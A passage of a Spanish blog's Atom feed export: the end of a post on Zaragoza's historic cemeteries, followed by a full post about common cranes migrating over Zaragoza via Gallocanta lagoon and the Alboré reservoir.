&lt;span style=&quot;font-family: arial;&quot;&gt;1.- A las causas expuestas se sumaban,
la ausencia de agua corriente, de alcantarillado, el hacinamiento de la
población y las basuras extendidas por doquier… &lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;
&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;2.- En las ciudades
islámicas la medina constituía el núcleo principal de la ciudad.&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;
&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;3.- Los hospitales medievales eran albergues
temporales de huérfanos, pobres, enfermos y peregrinos. Dependían de los
conventos y otras instituciones religiosas. &lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;
&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;4.- El cementerio de La Cartuja es
propiedad la Diputación de Zaragoza, está junto a la carretera Nacional 232, a cuatro
kilómetros del barrio que le da nombre&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;
&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;5.- En muchas pueblos
pequeños todavía hoy se pueden contemplar cementerios situados junto a las
iglesias, al parecer activos, como por ejemplo en &lt;a href=&quot;http://lacampanadeuesca.blogspot.com/2014/01/san-pedro-de-lasieso-iglesias-mozarabes_30.html&quot; target=&quot;_blank&quot;&gt;Lasieso&lt;/a&gt;,
&lt;a href=&quot;https://es.wikipedia.org/wiki/Iglesia_de_San_Pedro_(L%C3%A1rrede)#/media/Archivo:San_Pedro_de_Larrede.jpg&quot; target=&quot;_blank&quot;&gt;Larrede&lt;/a&gt;
o en &lt;a href=&quot;http://www.romanicoaragones.com/0-Jacetania/95-OrosB.htm&quot; target=&quot;_blank&quot;&gt;Oros Bajo&lt;/a&gt;, &lt;a href=&quot;http://www.romanicoaragones.com/0-Jacetania/94-Olivan.htm&quot; target=&quot;_blank&quot;&gt;Oliván&lt;/a&gt;, situados en el Serrablo (Huesca)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-size: x-large; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTQnTseY3hTbfnntbYaczsW4hnxjB2h0fA6-1k3jYoqx_ohkrQpRTfBfkUYgHvrXLZRmWOoizm8JInxNLYnijul6KS8ImBcijZnT5Mvlea4QzZNpEpFY6wOUxFmKYlvRGTTWt-A2wBV8u1/s1600/Monumento_a_la_Fosa_Com%25C3%25BAn%252C_de_Jos%25C3%25A9_Bueno.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/1337373642345145675/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/06/durante-mas-de-mil-anos-los-cementerios.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/1337373642345145675'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/1337373642345145675'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/06/durante-mas-de-mil-anos-los-cementerios.html' title='Los cementerios de Zaragoza'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTQnTseY3hTbfnntbYaczsW4hnxjB2h0fA6-1k3jYoqx_ohkrQpRTfBfkUYgHvrXLZRmWOoizm8JInxNLYnijul6KS8ImBcijZnT5Mvlea4QzZNpEpFY6wOUxFmKYlvRGTTWt-A2wBV8u1/s72-c/Monumento_a_la_Fosa_Com%25C3%25BAn%252C_de_Jos%25C3%25A9_Bueno.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-7904362845946364153</id><published>2020-03-01T20:49:00.004+01:00</published><updated>2020-11-07T17:19:35.137+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="NATURALEZA"/><title type='text'>Las grullas</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX2lfS-14Z24dt6EDDG_HrsUp1b7_9CjFP4_82z1SVRXU-t1CheolZsIw4M7y7RrrZRA1sK3yAAYKrTsMB9nx-C-zX36LeN1Wgd-MYEmyjZdy_N18rWc-34fsG2HtRmz72lMtpfM-1dOs5/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;

&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-style: normal; font-variant: normal; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;background-color: white; display: inline; float: none; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: left; text-indent: 0px;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: large;&quot;&gt;&lt;i&gt;&lt;b&gt;¿Sabías que ... las grullas sobrevuelan Zaragoza?&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7TqXcxIg2SkjO9PFklTabHYvbew90BLNxtSmEW8FlG22M-HGn6evBiC604ViXIxEvQf6qX0_fNjkkGxfNN53S1Dsuu5Z5NluwY0EHILJXIZs40ko7fA_558I-nsapd6Y7HPfynQGd73q3/s1600/IMG_3800.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7TqXcxIg2SkjO9PFklTabHYvbew90BLNxtSmEW8FlG22M-HGn6evBiC604ViXIxEvQf6qX0_fNjkkGxfNN53S1Dsuu5Z5NluwY0EHILJXIZs40ko7fA_558I-nsapd6Y7HPfynQGd73q3/s1600/IMG_3800.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;background-color: white; font-size: 14pt; text-align: left;&quot;&gt;Es tiempo de grullas: cientos de ellas sobrevuelan ahora a Zaragoza.&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;br /&gt;Caminaba a mediodía por el centro de la ciudad
cuando percibí un rumor lejano, tan tenue que pasaba desapercibido para el
resto de los viandantes. Pero mi oído lo reconoció al instante y con avidez miré
al cielo, efectivamente, allí estaban ¡Decenas y decenas de grullas sobrevolaban
la ciudad en bandadas sucesivas! &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;color: black; font-family: &amp;quot;times new roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;color: black; font-family: &amp;quot;times new roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;/div&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;b&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;(FOTOS Y VÍDEOS AL FINAL DEL TEXTO)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Estos días, procedentes del sur y dirigiéndose
al norte, cientos, miles de ellas vuelan sobre nosotros en inconfundibles
formaciones en V, emitiendo su trompeteo, su característico &lt;i&gt;gru, gru, gru&lt;/i&gt;…&amp;nbsp;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;background-color: white; color: black; display: inline; float: none; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;que
puede oírse desde largas distancias alertando de su paso a quienes, como a mi,
nos emociona contemplarlas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
Las grullas comunes (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Grus grus&lt;/i&gt;) son aves grandes, del tamaño de una cigüeña, miden más
de 1 m de largo y tienen una envergadura alar que se aproxima a los 2,5 m. Pertenecen
a la familia Gruidae, son aves esbeltas, de porte elegante y pausado caminar
cuando se desplazan a zancadas con sus largas y delgadas patas buscando
alimento en los campos o en las orillas de los humedales. El color de su
plumaje es gris parduzco, su largo cuello y su cabeza son negros con amplias
franjas blancas y el píleo, desprovisto de plumas, es de un vivo color rojo. Tienen
un pico largo, adaptado a sus necesidades alimenticias omnívoras y son aves
gregarias, que se emparejan de por vida, para lo cual realizan un espectacular
ritual de cortejo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
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&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Son también aves migratorias de grandes
distancias y precisamente en estos días están abandonando los lugares en los
que han pasado el invierno para emprender el larguísimo viaje que las llevará
hasta el norte de Europa, a zonas de Escandinavia, las Repúblicas Bálticas,
Polonia, Rusia… a sus lugares de cría en la taiga.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Así pues estas aves han pasado el invierno en
el sur, en España, a donde comenzaron a llegar a mitad de octubre desde las
lejanas tierras nórdicas y aunque se reparten por diversos humedales de nuestra
geografía, la mayoría se instala en Andalucía y Extremadura, buscando sus
inviernos suaves que les proporcionan los abundantes alimentos que en las
heladas tierras del norte no encontrarían en esa época del año.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUJ_w6r5JDy0dJtF4c5qf8yqH18_-NxL2lMaalqKbgd9b-6xBo0T8skA_8nz87mUJaV418AqJUYF9BgBNV7TfYi6HeeXY_HaohWgfgg6QL9qcaNmM1Tr6Z8kVJDLQBmaeHX4fG7RFt76tP/s1600/Mapa.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;487&quot; data-original-width=&quot;395&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUJ_w6r5JDy0dJtF4c5qf8yqH18_-NxL2lMaalqKbgd9b-6xBo0T8skA_8nz87mUJaV418AqJUYF9BgBNV7TfYi6HeeXY_HaohWgfgg6QL9qcaNmM1Tr6Z8kVJDLQBmaeHX4fG7RFt76tP/s320/Mapa.jpg&quot; width=&quot;259&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Son
tres &lt;a href=&quot;https://cimanorte.com/la-migracion-las-grullas/&quot;&gt;Las rutas migratorias&lt;/a&gt; utilizadas por las grullas: &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;la oriental&lt;/b&gt; (Egipto-Etiopia&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;/&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;Rusia),
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;la central&lt;/b&gt; (norte de África/&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;Polonia) y la occidental (España/&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;Escandinavia). Esta última es la que nos afecta.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;¡ Y de qué modo nos afecta ! Según la &lt;a href=&quot;https://www.seo.org/2020/02/19/es-tiempo-de-grullas/&quot;&gt;Sociedad Española de Ornitología (SEO)&lt;/a&gt; &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;en España
invernan entre 260.000 y 270.000&lt;/b&gt; de estas aves, que entre mediados de
febrero y mediados de marzo, abandonan nuestro país, en vuelos sucesivos,
dirigiéndose a los lugares adecuados para reproducirse y alimentar a sus crías.
Por esta razón, ahora, decenas de miles de grullas atraviesan nuestros cielos
siguiendo su ruta migratoria. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;En ese largo viaje de más de más de 4.000 km emplean
varias semanas y no está exento de dificultades, pues al esfuerzo que conlleva volar
hasta tan lejano destino hay que añadir que las condiciones atmosféricas no les
son siempre favorables y el gran reto que supone atravesar altas montañas, como
los Pirineos, con picos de más de 3.000 m de altitud. &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Lógicamente no pueden hacer el viaje de un
tirón, lo dividen en varias etapas, utilizando siempre los mismos humedales para
descansar y comer, por eso en los lugares de paradas migratorias se pueden ver,
en noviembre y en febrero, miles de ellas agrupadas en un solo lugar. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;En Aragón, el punto principal de la parada migratoria es
la &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;laguna de Gallocanta&lt;/b&gt; (provincias
de Zaragoza y Teruel) lugar ideal para su descanso y alimentación, tanto es así
que en época de migración se pueden concentrar aquí más de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;100.000 grullas.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Pero esta laguna no sólo la utilizan estas
aves para hacer un alto en su recorrido, muchísimas de ellas se quedan allí
para invernar, los censos que se realizan todos los años en otoño-invierno para
saber el número de las invernantes arrojan cifras de miles de aves. Este año,
según SEO, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;han invernado en la laguna de
Gallocanta más de 46.000 grullas. &lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8LkG4pmUbig_ylKugM8NW_o0AA3XNTi4-fSyJ_pxlTKAIcGD-lXSvLLeGhOmaBX8eqt9SBSugz1hFXiNXtM2B2bf3mPCp8I8veJH27VgexpP5t1GUTMvnO-m-AYzLhMze68cUtf09B2Zy/s1600/Grullas+en+Gallocanta.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;710&quot; data-original-width=&quot;1000&quot; height=&quot;227&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8LkG4pmUbig_ylKugM8NW_o0AA3XNTi4-fSyJ_pxlTKAIcGD-lXSvLLeGhOmaBX8eqt9SBSugz1hFXiNXtM2B2bf3mPCp8I8veJH27VgexpP5t1GUTMvnO-m-AYzLhMze68cUtf09B2Zy/s320/Grullas+en+Gallocanta.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Grullas en la laguna de Gallocanta&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Otro
punto importante de parada migratoria en Aragón es la &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;alberca de Alboré&lt;/b&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;que forma
parte del embalse de la Sotonera, y
está situada en los alrededores del municipio de Montmesa, (Hoya de Huesca). Allí
se dirigen las que vemos pasar estos días sobre la ciudad. &amp;nbsp;En esta alberca reponen fuerzas para atravesar
los Pirineos y seguir al norte.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Pero a veces, el tiempo no es el más adecuado
para volar y se ven obligadas a mantenerse en los lugares de descanso varios
días hasta que mejoran las condiciones meteorológicas. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
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&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Recuerdo una ocasión en que pudimos comprobar
esto, habíamos ido a la alberca para verlas, el día era magnífico pero soplaba
el cierzo con muchísima fuerza. Las grullas habían descansado en la alberca y
cuando llegamos se disponían a volar en continuas bandadas hacia los Pirineos
para cruzarlos, pero en cuanto remontaban el vuelo, las fuertes rachas del
viento desbarataban sus formaciones y las desviaban de su camino. Las pobres aves
estuvieron toda la mañana intentándolo, una y otra vez, ofreciendo todo un
espectáculo acompañado de fuertes trompeteos, por fin, a eso de mediodía,
agotadas, decidieron pasar allí una jornada
más a la espera de que el viento amainase. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
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&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
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&lt;span lang=&quot;ES&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
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&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOBjwHR-fKxDs362pzQa_u_0nif9DLJ4bnI9daF04JGenC43o4v6hh2zNjkg25bGfYuBvvep-McGMEsMNxlLLetmGTlFQ3l8lNIzZhaDvBk6x724GxiBHE3-A_YvkNKm_Y2ZAw65JqEen2/s1600/Grullas+1+02-03-2016+Zaragoza+%25285%2529.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;700&quot; data-original-width=&quot;948&quot; height=&quot;236&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOBjwHR-fKxDs362pzQa_u_0nif9DLJ4bnI9daF04JGenC43o4v6hh2zNjkg25bGfYuBvvep-McGMEsMNxlLLetmGTlFQ3l8lNIzZhaDvBk6x724GxiBHE3-A_YvkNKm_Y2ZAw65JqEen2/s320/Grullas+1+02-03-2016+Zaragoza+%25285%2529.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Si alguien desea verlas pasar todavía está a
tiempo, seguirán sobrevolándonos hasta bien entrado el mes de marzo. Las que
vemos pasar por Zaragoza inician su etapa de vuelo en Gallocanta, al amanecer, y
cruzan Zaragoza sobre mediodía (incluso más tarde) cruzan el Ebro y siguiendo
más o menos el curso del Gállego llegan hasta la alberca de Alboré (Huesca) al
final del día.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Sólo hay que estar atentos a su inconfundible y
sonoro &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;gru, gru, gru&lt;/i&gt; y mirar al cielo
para verlas volar formando escuadras como si de aviones se tratasen.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Vivimos de espaldas a la Naturaleza,
ignorándola, causándole daños a veces irreparables, pero, a pesar de todo y de
todos ahí está, todavía podemos disfrutar del gran espectáculo que nos
proporcionan las grullas volando sobre Zaragoza, ¡Es tiempo de grullas!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;
&lt;/span&gt;
